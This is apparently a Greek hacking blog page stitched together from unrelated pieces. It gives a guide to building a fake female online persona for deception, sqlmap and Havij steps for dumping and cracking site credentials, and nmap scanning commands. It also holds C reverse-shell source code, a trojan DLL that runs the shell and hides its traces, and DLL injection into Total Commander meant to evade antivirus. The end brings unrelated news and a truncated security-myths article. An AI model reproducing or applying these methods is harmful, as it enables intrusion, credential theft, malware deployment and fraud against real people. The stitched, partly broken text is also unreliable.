♣ Να φτιάξουμε το δημόσιο προφίλ μας. Οπότε φτιάχνουμε λογαριασμούς σε Facebook,Yahoo,Paypal και skype
Όλοι οι λογαριασμοί πρέπει να έχουν τα ίδια στοιχεία!! Φυσικά σε καμία περίπτωση δεν δίνετε τα δικά σας.
Τι στοιχεία πρέπει να βάλω;
Μπορείτε να σκεφτείτε τα στοιχεία που θα έχει το ψεύτικο πρόσωπό σας, όπως όνομα, επώνυμο, ημ/γεν,καταγωγη κτλ
Για μεγαλύτερη ευκολία μπορείτε να χρησιμοποιήσετε την σελίδα https://www.fakenamegenerator.com/ όπου εισάγοντας το φύλο που επιθυμείτε (άνδρας η γυναίκα) την χώρα και κάποια ακόμα στοιχεία, θα σας δημιουργήσει για εσάς ένα ψεύτικο προφίλ, και θα σας δώσει και όλα τα στοιχεία σχετικά με αυτο
Όπως: Όνομα, επώνυμο, διεύθυνση, Ημερομηνία Γέννησης, Σωματότυπο, Αυτοκίνητο που υποτεθείτε οδηγεί, και δεκάδες ακόμα πληροφορίες.
♣ Προμηθευτείτε φωτογραφίες, αν θέλετε βίντεο και απαραιτήτως ένα live stream show!
Οι φωτογραφίες πρέπει να είναι ΟΛΕΣ ΑΠΟ ΤΟ ΙΔΙΟ ΚΟΡΙΤΣΙ και οσο περισσότερες τόσο καλύτερο
Βίντεο δεν είναι αναγκαστικό αλλα καλο είναι να εχετε ενα…
Οσο για Live Shows πρέπει να έχετε οπωσδήποτε ένα για να δείχνετε οτι είστε αληθινή.
Για όλα τα παραπάνω, μπορείτε να δημιουργήσετε δικα σας(αμα ξέρετε)να κατεβάσετε(λίγαπράγματα με ψάξιμο και δύσκολα) ή να αγοράσετε (ίσως το καλύτερο)
VPN
Το αμέσως επόμενο που θα χρειαστείτε είναι ένα VPN, προτείνω CyberGhost
♣♣ ♣ Για τέλος χρειαζόμαστε και Το manycam ♣ ♣♣
ManyCam είναι ένα πρόγραμμα το οποίο δίνει εφέ στη κάμερα μας και εχει πολλές άλλες ενέργειες για κaμερες.
Εύρεση των βάσεων δεδομένων –> sqlmap.py -u <URL> --dbs
Αποκτήστε πρόσβαση στη βάση δεδομένων που θέλετε –> sqlmap.py -u <URL> --tables -D <όνομα βάσης δεδομένων>
Τραβήξτε τις στήλες των πινάκων –> sqlmap.py -u <URL> -columns -Τ <όνομα πίνακα>
Βρείτε τα δεδομένα απο τα tables–> sqlmap.py -u <URL> --columns -Τ <όνομα πίνακα> -C <ονόματα των στηλών> (serperate με κόμματα EG: a_username, a_password) --dump
Ας ξεκινήσουμε.
Δεν θα μπω στη διαδικασία να σας εξηγήσω πως μπορούμε να βρούμε μια σελίδα ευάλωτη σε sql injection η πως κάνουμε εγκατάσταση του Sqlmap.
1)Δίνουμε την εντολή
sqlmap.py -u vuln url
Όπου vuln url βάζουμε το δικό μας.
Αν είναι ευπαθής η σελίδα θα δείτε κάτι σαν το παρακάτω.
2)Πάμε να βρούμε την βάση δεδομένων, αυτο μπορούμε να το κάνουμε με την εντολή
sqlmap.py -u <vuln url> --dbs
Και σαν αποτέλεσμα παίρνουμε την βάση δεδομένων της σελίδας.
3)Τώρα θα πρέπει να πάρουμε πρόσβαση το οποίο είναι εύκολο! Διαγράψετε –dbs και πληκτρολογήστε –tables -D και, στη συνέχεια, τη βάση δεδομένων που θέλετε.
Τι κάναμε ακριβώς; το –tables λέει στο sqlmap οτι ψάχνουμε για πίνακες και το -D (πρέπει να είναι κεφαλαία!) λέει στο sqlmap οτι θέλουμε να ανοίξουμε αυτή τη βάση δεδομένων.
Αν όλα πάνε καλα θα πρέπει να μοιάζει με την παραπάνω εικόνα
4)Τώρα θα πρέπει να ανοίξετε τους πίνακες που βρήκε για να διαβάσουμε τα δεδομένα, usernames,passwords κλπ
Διαγράψτε το –tables και αντικαταστήστε το με –columns το οποίο ενημερώνει τον χρήστη οτι θέλουμε να ανοίξουμε τις στήλες στη συνέχεια, πληκτρολογήστε -Τ (ΚΕΦΑΛΑΙΑ!) Και, στη συνέχεια, το πίνακα που θέλετε να ανοίξετε!
Και το αποτέλεσμα
Βλέπουμε δύο πράγματα ενδιαφερων, db_username και db_password.
Για άλλη μια φορά, προσθέστε -C βάση δεδομένων, βάση δεδομένων αντικατάστασή τους με αυτά που θέλετε και, στη συνέχεια, –dump στο τέλος, αυτό λέει στο sqlmap οτι θέλουμε να έχουν πρόσβαση σε δύο από αυτές τις στήλες.
**Η SQL injection μπορεί να χωριστή σε 3 κατηγορίες**
INBAND:
Τα δεδομένα εξάγονται χρησιμοποιώντας το ίδιο κανάλι με αυτό που χρησιμοποιείτε για το injection στην SQL. Αυτός είναι ο πιο απλός τύπος επιθέσεις SQL όπου τα δεδομέναπαρουσιάζονται απευθείας στην ιστοσελίδα.
OUT_OF_BAND:
Τα δεδομένα εξάγονται χρησιμοποιώντας διαφορετικό κανάλι (π.χ κάποιο email) δηλαδή τα δεδομένα από το injection στέλνονται σε ένα email που έχει προκαθοριστεί.
INFERENTIAL:
Δεν υπάρχει πραγματική μεταφορά δεδομένων αλλα ο επιτιθέμενος είναι σε θέσει να ανακατασκευάσει τις πληροφορίες με την αποστολή συγκεκριμένου αιτήματος προς την βάση δεδομένων και παρατηρώντας την “συμπεριφορά” αντίδραση του website.
**ΤΥΠΟΙ SQL INJECTION**
ERROR-BASED: Ρωτάμε την Database κάτι που θα προκαλέσει κάποιο error
UNION-BASED:Το SQL union χρησιμοποιείτε για να συνδυάσει τα αποτελέσματα δυο η περισσοτέρων SELECT SQL σε ένα και μονο αποτέλεσμα
#παράδειγμα: http://example.com/page.asp?id=1UNION SELECT ALL 1,2,3,4--
http://example.com/page.asp?id=1UNION SELECT ALL 1,USER,3,4–
BLIND-BASED:Κάνουμε στην Database μια true/false ερώτηση και περιμένουμε εάν θα πάρουμε θετική απαντήσει, δηλαδή εάν θα εμφανιστεί το αποτέλεσμα που ρωτήσαμε, η αλλιώςχρησιμοποιώντας τον χρόνο ως μια παράμετρο
Υπάρχουν δυο τύποι injection που βασίζονται στο εάν ο τύπος του ευπαθές site είναι βασισμένο σε Integer η σε String. Στην περίπτωση του Integer για το injection δεν χρειαζόμαστε αυτό που λέμε single quote(‘)
Στην άλλη περίπτωση όμως του String τότε το single quote(‘) είναι απαραίτητο
Πάμε να δούμε πως θα εκμεταλλευτούμε μια ευπάθεια sql injection με τη χρήση του Havij
1)Πρέπει να έχουμε βρει μια ευπαθής (vulnerability) ιστοσελίδα.
2)Βάζουμε το url στο Havij και πατάμε Analyze
Όπως βλέπετε απο κάτω το status γραφεί Analyze target.
Περιμείνουμε μεχρι να τελειώσει το Analyze
Βρίσκουμε τα Tables
Θα δείτε ότι μας έβγαλε κάποια Tables
Βρισκουμε τα Columns Απο τα tables που μας εβγαλε κοιτάμε να υπάρχει κάποιο με όνομα: “admin,users,members.”αυτα ειναι τα πιο γνωστά. Αμα βλέπετε κάποιο απο αυτα κάνετε ένα click πιάνω του και μετα πατήστε Get Columns
Και έτσι πήραμε τα Columns!!
Στα Columns θα βρείτε Username και Password κάντε ενα click πιάνω τους και μετα πατήστε Get Data
Μολις πηρατε το Username και το Password
Το Password συνηθως ειναι σε μορφη Hash
Για να το σπασετε πηγαινετε στην επιλογη MD5 που υπαρχει στο προγραμμα και καντε επικολληση το Hash μεσα στο κουτακι που εχει και πατηστε Start.
Το μόνο που μας έμεινε ειναι να βρούμε απο που κανει ο Admin login. Πηγαίνουμε στην επιλογή Find Admin βαζουμε την σελίδα μας στο κουτάκι που εχει και πατάμε Start..
Σε αυτό το tutorial θα χρησιμοποιήσουμε το NMAP για να συγκεντρώσουμε πληροφορίες για ανοικτές πόρτες στο στόχο μας.
Ας ξεκινήσουμε με κάποια βασικά πράγματα για το NMAP.
Χρησιμοποιώντας το NMAP μπορούμε να βρούμε ανοικτές πόρτες και εκδόσεις υπηρεσιών οι οποίες τρέχουν σε ένα server και μπορούν να μας βοηθήσουν να λάβουμε άμεση πρόσβαση εκμεταλλεύοντας οποιαδήποτε λειτουργία ή μέσω bruteforce. Επίσης μπορούν να μας βοηθήσουν να καταλάβουμε σχετικά με υπηρεσίες οι οποίες τρέχουν στο server, έτσι ώστε αργότερα μπορεί να χρειαστούν ενώ κάνουμε pentesting.
Δύο βασικοί τύποι σκαναρίσματος οι οποίοι χρησιμοποιούνται συχνότερα στο NMAP είναι το TCP connect() scanning [-sT] και το SYN scanning (γνωστό επίσης και ως half-open, ή stealth scanning) [-sS].
Για ένα απλό σκανάρισμα για πόρτες:
Nmap <IP Address>
Για ένα Stealth σκανάρισμα για πόρτες:
Nmap -sS <IP Address>
Για να σκανάρουμε την έκδοση μιας υπηρεσίας η οποία τρέχει σε ανοικτές πόρτες χρησιμοποιούμε τη μεταβλητή -sV
Nmap -sV <IP Address>
Μερικές φορές αν ένας server μπλοκάρει το ping μας και δείχνει πως δε λειτουργεί, τότε μπορούμε να χρησιμοποιήουμε τη μεταβλητή -Pn για να το σκανάρουμε
Nmap -sV -Pn <IP Address>
Για να βρούμε το λειτουργικό σύστημα μπορούμε να χρησιμοποιήσουμε το τη μεταβλητή -O
Στο άρθρο αυτό θα δείξουμε μια σχετικά παλιά αλλά πολύ διαδεδομένη μέθοδο που χρησιμοποιούν οι επιτιθέμενοι για να εγκαταστήσουν ένα backdoor στον υπολογιστή του θύματος. Το συγκεκριμένο άρθρο μπορεί να το δείτε και κάπου αλλού (στα Αγγλικά) μιας και το έχω γράψει σε ξενόγλωσσα forums. Δεν είναι καινούριο και γενικά χρησιμοποιεί λίγο παλαιότερη τεχνολογία (όχι πολύ παλαιότερη btw… 😉 ) αλλά αυτό δεν πρέπει να μας ενοχλεί καθόλου για 2 λόγους:
Δεν μπορεί να χρησιμοποιηθεί (χωρίς κάποιες τροποποιήσεις) άμεσα για επιθέσεις.
Περνάει το μήνυμα της μεθοδολογίας που χρησιμοποιείται από τους επιτιθέμενους – που αυτό είναι και ένας από τους βασικούς στόχους του άρθρου.
Τι θα διαβάσετε σε αυτό το άρθρο
1) Πώς εκτελείται μια επίθεση DLL σε ένα υπολογιστή με Windows 7 Ultimate, με 2 τρόπους:
α) χρησιμοποιώντας μια documented Windows API function και
β) χρησιμοποιώντας μια μη τεκμηριωμένη (undocumented) API function των Windows. Αυτή η μέθοδος θα παρακάμψει επίσης το πρόγραμμα προστασίας από ιούς των Windows Essentials.
2) Όταν εκτελείται το injection, ένα private (μη ανιχνεύσιμο – τουλάχιστον την στιγμή που το έγραψα… 😉 ) reverse shell, (συμπεριλαμβάνεται ο πηγαίος κώδικας).
3) Επιπλέον, παρουσιάζεται μια (…πρωτότυπη ή καλύτερα λίγο αντισυμβατική) μέθοδος δημιουργίας ενός εκτελέσιμου αρχείου PE από ένα DLL κατά το χρόνο εκτέλεσης.
Πρέπει να είμαι guru για να το καταλάβω;
Αυτό το άρθρο αναφέρεται σε άτομα που γνωρίζουν ήδη πώς να προγραμματίζουν σε c ή c++ και έχουν βασικές γνώσεις για κλήσεις API των Windows. Επιπλέον, απαιτείται κάποια γνώση των τεχνικών εκμετάλλευσης ως εξής:
Τι είναι ένα reverse shell και πώς χρησιμοποιείται.
Το DLL Injection είναι μια δημοφιλής τεχνική που χρησιμοποιείται από τους εισβολείς για να εισάγουν κώδικα σε ένα εκτελέσιμο αρχείο προκειμένου να εκτελέσουν μια ελεγχόμενη εκτέλεση.
Θα παρουσιάσω δύο μεθόδους επιτυχημένης επίθεσης σε Windows 7 Ultimate OS που επιστρέφει ένα reverse shell στον εισβολέα. Η πρώτη μέθοδος χρησιμοποιεί την τεκμηριωμένη συνάρτηση API των Windows CreateRemoteThread και η δεύτερη μέθοδος χρησιμοποιεί την μη τεκμηριωμένη NtCreateThreadEx. Προτιμώ την τελευταία, γιατί η πρώτη “αγχώνει” λίγο το Windows Defender ενώ η δεύτερη όχι (τουλάχιστον όταν είχε δοκιμαστεί πριν μερικά χρόνια)!
Επιπλέον, ένα reverse shell (που αναπτύχθηκε σε c++) θα χρησιμοποιηθεί σε συνδυασμό με μια μέθοδο μεταφοράς ή… “συσκευασίας” ενός εκτελέσιμου αρχείου μέσα σε άλλο εκτελέσιμο αρχείο (ή DLL).
Η τελική επίθεση θα γίνει χρησιμοποιώντας δύο προσεγγίσεις:
Την παραδοσιακή (χειροκίνητη) προσέγγιση που χρησιμοποιώ μόνο το Netcat και
την… «επίσημη» προσέγγιση όπου χρησιμοποιώ το γνωστό Armitage του Metasploit arsenal. Φωτογραφίες της επίθεσης θα είναι διαθέσιμες σε εσάς καθώς και σύντομα βίντεο.
Πριν ξεκινήσουμε, θα ήθελα να διευκρινίσω ότι αυτό το άρθρο δεν είναι ένα σεμινάριο “Πώς να εισβάλετε”, ούτε μια μέθοδος εγκατάστασης ενός Trojan στο PC ενός θύματος. Είναι ακριβώς αυτό που δηλώνει ο τίτλος του: Μια μέθοδος κλήσης ενός Reverse Shell μέσω DLL Injection χρησιμοποιώντας μη τεκμηριωμένη συνάρτηση του API στα Windows 7.
Τα πρώτα βήματα
Για να εκτελέσουμε μια τέτοια επίθεση πρέπει πρώτα να αποφασίσουμε σε ποιο εκτελέσιμο πρόγραμμα θέλουμε να εισάγουμε τον κακόβουλο κώδικα μας. Στο παράδειγμά μου θα χρησιμοποιήσω σαν θύμα το πρόγραμμα Total Commander (http://www.ghisler.com), τον αγαπημένο Windows Manager των προγραμματιστών (και όχι μόνο!). Η εισαγωγή κακόβουλου κώδικα στο Total Commander, σημαίνει (εν ολίγης) ότι όταν ο χρήστης ξεκινήσει αυτό το πρόγραμμα στο τοπικό του υπολογιστή, θα λάβω αμέσως ένα reverse shell στο box μου (δηλ. στο… PC μου) με τα ίδια δικαιώματα που έχει το Total Commander όταν εκτελείτε. Για να είμαι πιο συγκεκριμένος, η μέθοδος ακολουθεί τρία βήματα που θα αναλύσω παρακάτω.
Η Μέθοδος
Βήμα 1. Έλεγξε εάν εκτελείται το «Total Commander».
Βήμα 2. Εάν εκτελείται, εκτέλεσε το injection και εκτέλεσε ένα reverse shell σε μια συγκεκριμένη διεύθυνση IP, μετά συνέχισε την εκτέλεση του Total Commander.
Βήμα 3. Εάν το “Total Commander” δεν εκτελείται, τότε πήγαινε στο 1.
Η προσέγγισή μου θα χρησιμοποιήσει τρία προγράμματα:
1. totalcmd.exe (Total Commander): είναι το πρόγραμμα που θα πυροδοτήσει όλη την επίθεση.
2. myDLL.DLL: Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα “μεταφέρει” τον εκτελέσιμο κώδικα του reverse shell. Μία από τις κύριες αρμοδιότητές του είναι όταν κληθεί το eventDLL_PROCESS_ATTACH, θα “αποσυσκευάσει” το reverse shell στο δίσκο και θα το εκτελέσει.
3. dllattack08.exe: Είναι το βασικό κακόβουλο πρόγραμμα που όταν εκτελεστεί στον υπολογιστή του θύματος, θα παραμείνει στη μνήμη εκτελόντας τα παραπάνω 3 βήματα της μεθόδου.
1. Δημιουργία του Reverse Shell.
Θα παρουσιάσω εδώ τον πηγαίο κώδικα του (private – εκείνη την εποχή που το έφτιαξα) Reverse Shell.
// reverse shell in win32 // by thiseas 2010 // Compile with VS 2008 from command line with cl: // cl PROGRAMrs.c -> PROGRAMrs.exe //////////////////////////////////////////////// #include <winsock2.h> #include <stdio.h>
#pragma comment(lib, “Ws2_32.lib”) //Inform the linker that the Ws2_32.lib file is needed.
// Starting shell by creating a new process with redirected i/o. memset(&theProcess,0,sizeof(theProcess)); theProcess.cb=sizeof(theProcess); theProcess.dwFlags=STARTF_USESTDHANDLES; // here we make the redirection theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket; // fork the new process. if(CreateProcess(NULL,”cmd.exe”,NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0) { WSACleanup(); return 1; }
return 0; }
Το παραπάνω πρόγραμμα μπορεί να χρησιμοποιηθεί ως αντικατάσταση του Netcat ή σε συνδυασμό με αυτό.
Χρήση
Για να τρέξουμε με επιτυχία το shell πρέπει να εκτελέσουμε τις ακόλουθες δύο εντολές:
Εντολή 1: Στο PC του επιτιθέμενου, εκτελέστε το Netcat για να βάλετε σε Listening mode μια σύνδεση:
στο Fedora : nc -l 1234
στο ubuntu: nc -v -l -p 1234
σε Windows : nc -v -l -p 1234
Εντολή 2: Στο PC του θύματος, εκτελέστε το reverse shell: c:> PROGRAMrs.exe <attackerIP> 1234
2.Πώς θα φυλάξουμε τον εκτελέσιμο κώδικα του shell μέσα σε ένα άλλο πρόγραμμα
Θα «αποθηκεύσω» τον εκτελέσιμο κώδικα μέσα στο DLL (που θα χρησιμοποιήσω αργότερα) για να εκτελεστεί όταν χρειαστεί (θα εξηγήσω αργότερα πώς). Έτσι, πρέπει να πάρω τον HexCode του εκτελέσιμου ReverseShell μου και να τον βάλω μέσα σε άλλο πρόγραμμα. Υπάρχουν διάφορες μέθοδοι για να γίνει αυτό. Ο στόχος είναι να αποθηκεύσετε ολόκληρο το ReverseShell εκτελέσιμο μέσα σε έναν byte Array και στη συνέχεια να γράψετε αυτόν Byte Array στο δίσκο με ένα νέο όνομα. Το νέο αρχείο που θα δημιουργηθεί θα είναι ένα κανονικό εκτελέσιμο PE (http://en.wikipedia.org/wiki/Portable_Executable)!
Ανοίγω το εκτελέσιμο “PROGRAMrs.exe” του αντίστροφου κελύφους χρησιμοποιώντας τον αγαπημένο μου επεξεργαστή ultraEdit (το οποίο είναι επίσης hex editor). Επιλέξτε όλα, κάντε δεξί κλικ και επιλέξτε Hex Copy Selected View (εικόνα 1).
Επικολλώ τα επιλεγμένα code-bytes σε ένα νέο αρχείο. Επιλέγω τις συγκεκριμένες στήλες στον editor (Alt+C) και επιλέγω όλο τον byte-code. Στη συνέχεια, κάνω δεξί κλικ και αντγραφή Ctrl+C (εικόνα 2).
Έβαλα τα επιλεγμένα byte σε ένα νέο αρχείο και έβαλα ένα “\x” μεταξύ κάθε δεκαεξαδικού, όπως δείχνει το ακόλουθο παράδειγμα:
Από:
Για να το κάνω γρήγορα μπορώ στον editor να αντικαταστήσω όλα τα κενά με ‘\x’ και τελικά να καταλήξω στο παρακάτω:
Εντάξει, αυτό ήταν. Αποθηκεύω αυτό το αρχείο στο δίσκο με το όνομα MyTempByteCode.txt.
3.Δημιουργώ την DLL
Ήρθε η ώρα σε αυτό το 3ο βήμα, να δημιουργήσω την DLL. Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα φέρει μέση της το ReverseShell μέσα. Μία από τις κύριες αρμοδιότητές της είναι όταν κληθεί και εκτελεστεί το event DLL_PROCESS_ATTACH, θα αποσυσκευάσει το ReverseShell στο δίσκο και θα το εκτελέσει.
Την δημιούργησα χρησιμοποιώντας C++ στο Microsoft Visual Studio 2008 και ο κώδικας της είναι ο παρακάτω:
Ο πηγαίος κώδικας είναι (πιστεύω) αυτονόητος: Όταν ενεργοποιηθεί το event DLL_PROCESS_ATTACH, θα γράψω τα shell-bytes σε ένα αρχείο και θα το εκτελέσω (για να ξεκινήσει το RevsreShell) και αμέσως μετά θα τον διαγράψω από το δίσκο για να κρύψω τα ίχνη μου. Φυσικά, αυτό θα έχει μείνει στην μνήμη και θα επιτελεί την κακόβουλη εργασία του, δηλαδή θα έχει δώσει μη εξουσιοδοτημένη πρόσβαση στον επιτιθέμενο.
4.Εκτελώντας το Injection
Τώρα χρειάζομαι ένα πρόγραμμα για να ενεργοποιήσει, να καλέσει δηλαδή το παραπάνω DLL. Αυτό είναι βασικό πρόγραμμα που θα ενεργοποιήσει την επίθεση και είναι το: dllattack08.exe: Είναι αυτό που θα εκτελέσει το injection στο “Total Commander” χρησιμοποιώντας μια τεκμηριωμένη συνάρτηση WinAPI και μια μη τεκμηριωμένη WinAPI (the stealth case) – όπως είπαμε και στην αρχή του άρθρου.
typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, IN ULONG SizeOfStackReserve, OUT LPVOID lpBytesBuffer );
if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID )) { printf(“\nFailed to get the current session with error %d”, GetLastError()); } if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID )) { printf(“\nFailed to get the remote session with error %d”, GetLastError()); }
if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”)) printf(“\nSUCCESSFUL!\n”); else printf(“\nFailed!\n”);
return 0; }
Πιστεύω ότι κάποια θέματα στον παραπάνω κώδικα χρειάζονται κάποια διευκρίνιση. Η κλήση της συνάρτησης που εκτελεί το DLL injection χρησιμοποιώντας το τεκμηριωμένο API CreateRemoteThread είναι η: DllInject(hProcess, “\\DLLInjection\\myDLL.dll”)
Η συνάρτηση παίρνει 2 ορίσματα: Τον handler της διεργασίας του προγράμματος που πρόκειται να Inject και το όνομα του αρχείου DLL που θα επισυναφθεί στο injected εκτελέσιμο αρχείο. Όπως μπορείτε να δείτε αυτό είναι αρκετά “ανοιχτό” για να δεχτείτε οτιδήποτε σας αρέσει… 😎
Ένα άλλο ενδιαφέρον θέμα είναι η χρήση της συνάρτησης SeDebugPrivilege ως προσπάθεια απόκτησης όσο το δυνατόν περισσότερων προνομίων. Η Microsoft ανέφερε κάποτε το εξής:
“By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do».
Αυτό είναι πράγματι ενδιαφέρον. Σύμφωνα με τις δοκιμές μου, τα παραπάνω δεν ισχύουν 100% για τα windows 7, αλλά άξιζε μια δοκιμή… πάντως.
Ένα σημαντικό μειονέκτημα αυτής της μεθόδου είναι ότι ενεργοποιεί το Microsoft Security Essentials Antivirus. Ανακάλυψα ότι η αιτία του συναγερμού είναι η χρήση του API CreateRemoteThread μέσα στη συνάρτηση DllInject. Αντικαθιστώ, λοιπόν, αυτή τη λειτουργία με μια νέα αλλά… undocumented! Το να εξηγήσουμε πώς βρίσκουμε και αναλύουμε μη τεκμηριωμένες λειτουργίες API των Windows είναι μια άλλη ιστορία (πράγματι προκλητική) που θα προσπαθήσω να εξηγήσω σε άλλο άρθρο. Η μη τεκμηριωμένη κλήση API υλοποιείται στη συνάρτηση DllInject_2. Η μόνη αλλαγή στον κώδικα για να καλέσετε αυτό το API είναι να αντικαταστήσετε την 7η γραμμή από το κάτω μέρος του παραπάνω πηγαίου κώδικα:
Από if (DllInject(hProcess, “\\DLLInjection\\myDLL.dll”))
Προς την if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”))
Και αυτό είναι. Γίνεσαι stealth!
Χειροκίνητη Επίθεση
Παρακάτω είναι ένα παράδειγμα επίθεσης με τον χειροκίνητο (παραδοσιακό) τρόπο:
Επίθεση με την χρήση του Metasploit Armitage
Το Metasploit [http://www.metasploit.com/] είναι ένα επαγγελματικό εργαλείο για Penetration Testers και όχι μόνο. Το Armitage είναι ένα front-end (μπορώ να πω) για το metasploit. Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για την εκτέλεση μας τέτοιας ίδιας επίθεσης. Μπορεί να χρησιμοποιηθεί ως client για να ακούσετε στη θύρα 6666 για να λάβετε το RevsrseShell μου. Ρίξτε μια ματιά εδώ:
και αμέσως μετά… Αυτό:
Ένα από τα ενδιαφέροντα πράγματα εδώ είναι ότι μπορεί να χρησιμοποιηθεί οποιοδήποτε Reverse Shell. Μπορείτε (για παράδειγμα) να δημιουργήσετε ένα κρυπτογραφημένο χρησιμοποιώντας το Metasploit, να λάβετε τον δυαδικό του κώδικα, να τον βάλετε στο DLL μου και να εκτελέσετε την επίθεση. Η μέθοδος και ο κώδικας είναι αρκετά ανοιχτοί για να υποστηρίξουν τέτοιες τεχνικές…
Και μερικά VIDEOs της επίθεσης
[1]. Περίπτωση I: Η εφαρμογή Total Commander ήδη είναι ανοιχτή στο PC του θύματος
[2]. Case II: Η εφαρμογή Total Commander ανοίγει μετά την εκτέλεση του malware (dllattack08.exe) στο PC του θύματος
Η Google Ξεκινά τη Διαγραφή Ανενεργών Λογαριασμών: Πώς να Διατηρήσετε τον Δικό Σας Ασφαλή
Η Google ανακοίνωσε σήμερα ένα νέο βήμα στην πολιτική της για τη διαγραφή παλιών και ανενεργών λογαριασμών. Αν διαθέτετε έναν λογαριασμό Google που δεν έχετε χρησιμοποιήσει εδώ και μερικά χρόνια, είναι πιθανό να χρειαστεί να λάβετε μέτρα για να τον διατηρήσετε ενεργό.
Η Google ξεκινά αυτήν τη διαδικασία για λόγους ασφαλείας, καθώς οι ανενεργοί λογαριασμοί είναι πιο ευάλωτοι σε πιθανές παραβιάσεις. Αρχίζοντας με λογαριασμούς που δημιουργήθηκαν και δεν έχουν χρησιμοποιηθεί ποτέ, η Google επιδιώκει να διατηρήσει την ασφάλεια του οικοσυστήματός της.
Για να αποφύγετε τη διαγραφή του λογαριασμού σας, μπορείτε να συνδεθείτε ξανά σε αυτόν ή να αποστείλετε ένα email. Επίσης, η εγγραφή σε υπηρεσίες της Google, όπως το Google Drive, ή η παρακολούθηση περιεχομένου στο YouTube μπορεί να συνεισφέρει στη διατήρηση του λογαριασμού σας ως ενεργού.
Εάν χρησιμοποιείτε το Google Photos, θα πρέπει να συνδεθείτε σε αυτόν κάθε δύο χρόνια για να θεωρηθεί ενεργός και να διατηρήσει τις φωτογραφίες και το περιεχόμενο που έχετε αποθηκεύσει.
Είναι σημαντικό να σημειώσετε ότι οι λογαριασμοί Google που έχουν δημιουργηθεί για εργασία ή σχολείο, καθώς και οι λογαριασμοί που έχουν αγοράσει υπηρεσίες ή συνδρομές, δεν επηρεάζονται από αυτήν την πολιτική διαγραφής.
Προτού αποφασίσετε να αφήσετε ανενεργό έναν λογαριασμό, εξετάστε τις παραπάνω πληροφορίες και λάβετε τα απαραίτητα μέτρα για τη διατήρηση της ασφάλειας και της προστασίας των προσωπικών σας δεδομένων.
Η εικόνα των χάκερς έχει διαμορφωθεί σε μεγάλο βαθμό από ταινίες,τηλεοπτικάπρογράμματακαι την τηλεόραση.Σεαυτές, οι χάκερς παρουσιάζονται ως ικανοί να εισβάλουνακόμη και στα πιο ασφαλή συστήματα με ένα απλό πάτημα πλήκτρων.
Όλοι έχουμεδει κάποια στιγμή ταινίεςόπουοιχάκερςεισβάλλουνσταυπερπροστατευμένα συστήματα κυβερνήσεων, οργανισμών και εταιρειώνκαιπαίρνουν τον πλήρη έλεγχο τηςδιαδικασίας,προκαλώντας αμέτρητα προβλήματα.
Είναι όμως πραγματικά τόσο απλό;Δεν απέχει πολύαπό την πραγματικότητα; Πού τελειώνει ο μύθος και πού αρχίζει η αλήθεια; Για να απαντήσουμεσεαυτάτα ερωτήματα, επικοινωνήσαμεμε τον MichaelMigo, τεχνικό διευθυντή της TicTac, μιαςεταιρείαςπου ειδικεύεται στις υπηρεσίες κυβερνοασφάλειαςκαι ανάκτησης δεδομένων, για να αναλύσει τις πιο συνηθισμένες αντιλήψεις που έχουν οι εταιρείες και οι χρήστες σχετικά με την κυβερνοασφάλεια.
Μύθος 1: “Η επιχείρησή μου είναι πολύ μικρή,οιχάκερδενενδιαφέρονταιγιαμένα
Πραγματικότητα: “Οι περισσότεροι χάκερςπραγματοποιούν τυχαίες επιθέσεις, οπότε όλες οι επιχειρήσεις και οιιδιώτεςκινδυνεύουν.
Μία από τις πιο συνηθισμένεςπαρανοήσεις σχετικά με τηνασφάλειαστονκυβερνοχώρο είναι η ιδέα ότι οι μικρές επιχειρήσεις είναι ασφαλείς από τις επιθέσειςστονκυβερνοχώροεπειδή δεν είναι σημαντικές.Στην πραγματικότητα, καμία επιχείρηση δεν είναι πολύ μικρή για τέτοιου είδους απειλές.
Οι επιθέσεις που πραγματοποιούνταιαπόχάκερς χωρίζονται σε δύο κύριες κατηγορίες: οιστοχευμένες επιθέσεις εναντίονμεγάλωνεπιχειρήσεων και οργανισμώναπαιτούνμεγάληπροσπάθεια,χρόνο και χρήμα από την πλευρά τουχάκερκαι είναισυνήθως το αποτέλεσμα μιας μαζικής και συντονισμένης προσπάθειας.Απότην άλλη πλευρά, οι τυχαίες, τυφλές, μη στοχευμένες επιθέσεις εναντίονχιλιάδωνemailήIPsέχουνως στόχο να βρουν κενάασφαλείας σε οποιοδήποτε σύστημα, ώστε να μπορέσουνναελέγξουντουςυπολογιστές και να κλειδώσουν ή να κλέψουν αρχεία.
Φυσικά,οι χάκερς δεν μπορούννα βγάλουν χρήματα από όλους.Αυτόοφείλεταιστογεγονόςότιοιιδιώτεςήοιμικρέςεπιχειρήσειςδενέχουντηνοικονομικήδυνατότηταναπροβούνσεοικονομικέςαπαιτήσειςγιατηνεπιστροφήαρχείων.Ωστόσο,η ζημιά έχει ήδη γίνει και τα δεδομένα είναιπιθανό να έχουν ήδη χαθεί. Ωςεκ τούτου, δεν έχει σημασία αν είστε οπρωταρχικός στόχος και μπορούννα βγάλουν χρήματα από εσάς. Υπάρχει κίνδυνος σοβαρώνπροβλημάτωνπουπροκαλούνται από τυχαία και τυφλά χτυπήματα.
Εκτόςαπό τα παραπάνω, θα πρέπει να προστεθεί ότι, ανεξάρτητα από το μέγεθος τηςεπιχείρησήςσας, ο κίνδυνος απώλειας δεδομένων λόγω απειλών στον κυβερνοχώρο είναι τόσο μεγάλος που η προστασία και η διαθεσιμότητα των δεδομένων και των πληροφοριών σας πρέπει να αποτελεί ύψιστη προτεραιότητα.
Τρόποι αντιμετώπισης
